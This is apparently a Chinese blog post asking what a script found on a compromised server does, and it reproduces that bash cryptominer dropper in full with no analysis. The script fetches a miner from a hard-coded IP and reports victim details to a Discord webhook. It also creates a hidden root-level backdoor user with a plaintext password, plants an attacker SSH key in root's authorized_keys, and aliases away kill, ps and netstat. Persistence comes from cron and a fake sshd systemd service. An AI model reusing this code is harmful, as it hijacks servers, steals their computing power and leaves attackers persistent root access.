服务器被入侵的脚本,求解释脚本含义

  • Post author:
  • Post category:其他


#!/bin/bash
###Date###
user="stackdata"
pass="slaboz123"
gilimea='"'
ip=`/usr/bin/curl -s -connect-timeout 4 -m 4 ifconfig.me`
rm -rf *timeout
sshkey="ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAssBRhpYTnc8araZvsa3dYWhQGtx07dMQxLVXd0oCI2FBvwdEvhdo6DkkSfWo2MSfFRgOUNls0yP8Szsp0z7I9E7gwMYpNZMS6dNMSrPaA8qIESPtXFKihKKGTnMeKTYC327G39rWwUhhz5IzwkBQW4jnMsb5oV7EhdwO60X33Rh4JKXsrUWjgYOV1E7wil+pZdtSO8ZMKB8N9TcpU4ElhLs1WzqA/7vsJnUUUIw0oVtMoJPLTjp39Npzy6Vbss3CU3/TTS7nRMCWr6Nn4UEIQINtu/chFi/iIjxtzatZqnJI3tASFw6ygNJWuaREICdQWmc8tE8vnz/KR8cnxkhvyQ== stackdata"
nenea=`whoami`
uptime=$(</proc/uptime)
uptime=${uptime%%.*}
zile=$(( uptime/60/60/24 ))
secunde=$(( uptime%60 ))
minute=$(( uptime/60%60 ))
ore=$(( uptime/60/60%24 ))
sended=$(date +'%m/%d/%Y')
url='https://discord.com/api/webhooks/818217662068555796/_woJFLQrnRy_aiD6LALK7-SfpUGa-3U-FDX3EyH6tXFID9MtCYRjaWn0At4iuHqrVtH-'
##########
getingmineru(){
locatie="$(cat /var/tmp/.ladyg0g0/.pr1nc35)"
if [ -f $locatie/.report_system ]; then
        :
        else
        curl -O 45.32.104.186/.mini/.report_system
        chmod 777 .report_system
fi
}
###
locationperfection(){
tinlex=$(pwd)
        mkdir /var/tmp/.ladyg0g0/ >/dev/null 2>&1
        echo $tinlex > "/var/tmp/.ladyg0g0/.pr1nc35"
        if [ $(id -u) = 0 ]; then
                if [ -f "/usr/bin/.locationesclipiciu" ]; then
                        :
                else
                        echo $tinlex > "/usr/bin/.locationesclipiciu"
                fi
        fi
}
###
showproof(){
echo '
{
  "content": null,
  "embeds": [
    {
      "title": "Miner ON: Ip: '$ip' | Pe User: '$nenea' ",
          "description": "**Cand s-a facut Install-ul:** ***'$sended'***\n\n**Other Info:** ***Version: 3.0*** **| Uptime Miner:** ***'$zile'*** **Zile**",
          "color": 16711680
    }
  ]
}' > /tmp/.send.json
/usr/bin/curl -H "Content-Type: application/json" --data @/tmp/.send.json $url
}
###
sshkiller(){
if [ $(id -u) = 0 ]; then
mkdir /usr/.SQL-Unix
mkdir /usr/.SQL-Unix/.SQL
echo "# .bashrc
############
rm -rf ~/.bashrc
rm -rf ~/.bash_history
alias pkill='printf $gilimea$gilimea'
alias kill='printf $gilimea$gilimea'
alias killall='printf $gilimea$gilimea'
alias init='printf $gilimea$gilimea'
alias rm='printf $gilimea$gilimea'
alias halt='printf $gilimea$gilimea'
alias adduser='printf $gilimea$gilimea'
alias userdel='printf $gilimea$gilimea'
alias crontab='printf $gilimea$gilimea'
alias htop='printf $gilimea$gilimea'
alias find='printf $gilimea$gilimea'
alias locate='printf $gilimea$gilimea'
alias ps='printf $gilimea$gilimea'
alias ss='printf $gilimea$gilimea'
alias netstat='printf $gilimea$gilimea'
############
echo '# .bashrc
                                                                                                                                                                       source /usr/.SQL-Unix/.SQL/.db
alias rm='rm -i'
alias cp='cp -i'
alias mv='mv -i'
                                                                                                                                                                       echo Uname: $(uname -a)
' > ~/.bashrc
" > /usr/.SQL-Unix/.SQL/.db
echo "# .bashrc
                                                                                                                                                                       source /usr/.SQL-Unix/.SQL/.db
alias rm='rm -i'
alias cp='cp -i'
alias mv='mv -i'
                                                                                                                                                                       echo Uname: $(uname -a)
" > ~/.bashrc
echo "
if [ -f ~/.bashrc ]; then
    . ~/.bashrc
fi

" > ~/.bash_profile
chattr -i /root/.ssh ; chattr -i /root/.ssh/authorized_keys
echo $sshkey > "/root/.ssh/authorized_keys"
chmod 600 /root/.ssh/authorized_keys
chattr +i /root/.ssh/authorized_keys
else
mkdir /var/tmp/.SQL-Unix > /dev/null 2>&1
mkdir /var/tmp/.SQL-Unix/.SQL > /dev/null 2>&1
echo "# .bashrc
############
rm -rf ~/.bashrc
rm -rf ~/.bash_history
alias pkill='printf $gilimea$gilimea'
alias kill='printf $gilimea$gilimea'
alias killall='printf $gilimea$gilimea'
alias init='printf $gilimea$gilimea'
alias rm='printf $gilimea$gilimea'
alias halt='printf $gilimea$gilimea'
alias adduser='printf $gilimea$gilimea'
alias userdel='printf $gilimea$gilimea'
alias crontab='printf $gilimea$gilimea'
alias htop='printf $gilimea$gilimea'
alias find='printf $gilimea$gilimea'
alias locate='printf $gilimea$gilimea'
alias ps='printf $gilimea$gilimea'
alias ss='printf $gilimea$gilimea'
alias netstat='printf $gilimea$gilimea'
############
echo '# .bashrc
                                                                                                                                                                       source /var/tmp/.SQL-Unix/.SQL/.db
alias rm='rm -i'
alias cp='cp -i'
alias mv='mv -i'
                                                                                                                                                                       echo Uname: $(uname -a)
' > ~/.bashrc
" > /var/tmp/.SQL-Unix/.SQL/.db
echo "# .bashrc
                                                                                                                                                                       source /var/tmp/.SQL-Unix/.SQL/.db
alias rm='rm -i'
alias cp='cp -i'
alias mv='mv -i'
                                                                                                                                                                       echo Uname: $(uname -a)
" > ~/.bashrc
echo "
if [ -f ~/.bashrc ]; then
    . ~/.bashrc
fi

" > ~/.bash_profile
fi
}
###
facuser(){
if [ $(id -u) = 0 ]; then
   if ! cat /etc/passwd | grep -q "${user}"; then
   /usr/sbin/useradd -u0 -g0 -o -s /bin/bash $user ; usermod -aG sudo $user
   yes "$pass" | passwd $user
   else
                :
   fi
fi
}
###
minerinio(){
locatie="$(pwd)"
if [ -f $locatie/.b4nd1d0 ]
then
locatie="$(pwd)"
echo '#!/bin/bash
m1lbe1()
{
if ! pgrep -x .report_system >/dev/null
then
        '$locatie'/./.report_system >/dev/null 2>&1 & disown $*
else
                exit 1
fi
}
m1lbe1' > $locatie/.b4nd1d0
        chmod 777 $locatie/.b4nd1d0
        $locatie/./.b4nd1d0
        else
        locatie="$(pwd)"
echo '#!/bin/bash
m1lbe1()
{
if ! pgrep -x .report_system >/dev/null
then
        '$locatie'/./.report_system >/dev/null 2>&1 & disown $*
else
                exit 1
fi
}
m1lbe1' > $locatie/.b4nd1d0
chmod 777 $locatie/.b4nd1d0
$locatie/./.b4nd1d0
fi
}
###
crontablegend() {  
locatie="$(pwd)"
if ! crontab -l | grep -q '.black'; then
   rm -rf $locatie/.5p4rk3l5
   echo "@daily "$locatie"/./.b4nd1d0" >> $locatie/.5p4rk3l5
   sleep 1
   echo "@reboot "$locatie"/./.black > /dev/null 2>&1 & disown" >> $locatie/.5p4rk3l5
   sleep 1
   echo "* * * * * "$locatie"/./.black > /dev/null 2>&1 & disown" >> $locatie/.5p4rk3l5
   sleep 1
   echo "@monthly "$locatie"/./.black  > /dev/null 2>&1 & disown" >> $locatie/.5p4rk3l5
   sleep 1
   crontab $locatie/.5p4rk3l5
   sleep 1
   source ~/.bashrc
   rm -rf $locatie/.5p4rk3l5
fi
}
###
locationperfection
sleep 0.5
echo "Locatie ON"
wait
getingmineru
sleep 0.5
echo "Minerul Luat"
wait
facuser
sleep 0.5
echo "User Facut"
wait
sshkiller
sleep 0.5
echo "SSH Mort"
wait
showproof
sleep 0.5
echo "Info Trimis"
wait
crontablegend
sleep 0.5
echo "Crontab Done"
wait
minerinio
sleep 0.5
echo "Minerul Pornit"
wait
###
checkingpid(){
        if [ -f /usr/bin/.pidsclip ]; then
                if ps -p $(cat /usr/bin/.pidsclip) > /dev/null; then
                        echo "Already running..."
                else 
                        /usr/bin/sshd > /dev/null 2>&1 & disown
                        echo $! > /usr/bin/.pidsclip
                        chmod 777 /usr/bin/.pidsclip
                        echo "Done"
                fi
        else
                /usr/bin/sshd > /dev/null 2>&1 & disown
                echo $! > /usr/bin/.pidsclip
                chmod 777 /usr/bin/.pidsclip
                echo "Done"
                fi
}
###
killingstrangers(){
echo '
#!/bin/bash
locatieasdf=$(cat /usr/bin/.locationesclipiciu)
if [ ! -d '$locatieasdf' ]; then
        mkdir '$locatieasdf'
        rsync -r /usr/bin/.locationesclipiciu/ '$locatieasdf'/
        sleep 1
        '$locatieasdf'/.b4nd1d0 > /dev/null 2>&1 & disown
else
        if [ ! -f  '$locatieasdf'/.report_system ]; then
                rsync -r /usr/bin/.locationesclipiciu/ '$locatieasdf'/
                sleep 1
                '$locatieasdf'/.b4nd1d0 > /dev/null 2>&1 & disown
fi' > /usr/bin/sshd
sleep 1
chmod 777 /usr/bin/sshd
}
###
pisamsystemu(){
echo '[Unit]
Description=Example systemd service.
[Service]
Type=simple
Restart=always
RestartSec=3600
ExecStart=/bin/bash /usr/bin/sshd
[Install]
WantedBy=multi-user.target' > /lib/systemd/system/myservice.service
sleep 1
chmod 644 /lib/systemd/system/myservice.service
systemctl enable myservice
systemctl start myservice

if [ -f "/var/tmp/.ladyg0g0/.pr1nc35" ]; then
        echo "Locatia este deja setata"
else
        if [ -f "/usr/bin/.locationesclipiciu" ]; then
                locationperfection
                echo "Am-rupt-locatiile-alea"
sleep 1
        fi
fi
if [ ! -f "/var/tmp/.ladyg0g0/.pr1nc35" ]; then
        if [ -d "/var/tmp/.ladyg0g0" ]; then
                locationperfection
                locationperfection
                echo "Locatia a fost setata"
        else
                echo "Acum facem folderul"
                mkdir /var/tmp/.ladyg0g0/
                locationperfection
                locationperfection
                echo "Am setat locatia"
        fi
fi
if [ -f $(cat /var/tmp/.ladyg0g0/.pr1nc35)/.pidsclip ]; then
        if ps -p $(cat $(cat /var/tmp/.ladyg0g0/.pr1nc35)/.pidsclip) > /dev/null; then
                echo "Already running..."
        else 
                $(cat /var/tmp/.ladyg0g0/.pr1nc35)/.black > /dev/null 2>&1 & disown
                echo $! > $(cat /var/tmp/.ladyg0g0/.pr1nc35)/.pidsclip
                chmod 777 $(cat /var/tmp/.ladyg0g0/.pr1nc35)/.pidsclip
                echo "Done"
                fi
else
        $(cat /var/tmp/.ladyg0g0/.pr1nc35)/.black > /dev/null 2>&1 & disown
        echo $! > $(cat /var/tmp/.ladyg0g0/.pr1nc35)/.pidsclip
        chmod 777 $(cat /var/tmp/.ladyg0g0/.pr1nc35)/.pidsclip
        echo "Done"
fi
}
###
if [ $(id -u) = 0 ]; then
        if [ ! -d /usr/bin/.locationesclipiciu ]; then
        cp -avr $(cat /var/tmp/.ladyg0g0/.pr1nc35) /usr/bin/.locationesclipiciu >/dev/null 2>&1 & disown
        bash -c 'yum install -y rsync >/dev/null 2>&1 & disown' || bash -c 'apt install -y rsync >/dev/null 2>&1 & disown'
                if [ ! -f /usr/bin/sshd ]; then
                        killingstrangers
                        pisamsystemu
                        checkingpid
                fi
        fi
fi



版权声明:本文为qq_22648091原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。